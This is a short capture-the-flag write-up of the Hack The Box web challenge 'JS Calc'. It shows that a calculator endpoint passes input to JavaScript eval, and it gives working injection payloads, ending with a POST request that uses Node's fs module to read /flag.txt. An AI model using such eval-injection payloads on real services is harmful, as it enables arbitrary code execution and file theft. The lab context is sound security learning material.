tomek7667

HTB - JS Calc - web - easy

Our input is passed directly to eval in challenge/helpers/calculatorHelper.js:5. The following payload will return to us 1 in the message and console.log in the node environment console:

{
    "formula": "(() => {console.log(1); return 1;})()"
}

This input results in the following interpolated string:

eval(`(function() { return (() => {console.log(1); return 1;})() ;}())`);

which for readability I will write as:

(function() { return (() => {console.log(1); return 1;})() ;}())

This is basically a self-executing function that returns the result of the inner function in javascript. so basically what is happening is:

console.log(1);
return 1;

When inspecting Docker container’s filesystem, we can see that the flag is stored in /flag.txt, in order to read files in nodejs we can use fs module. After submitting:

const fs = require('fs');
const flag = fs.readFileSync('/flag.txt', 'utf8');
return flag;

We get the flag in the response of the request:

POST /api/calculate HTTP/1.1
Host: <host>
Content-Type: application/json

{
    "formula": "(() => {const fs = require('fs');const flag = fs.readFileSync('/flag.txt', 'utf8');return flag;})()"
}

We get the flag in response.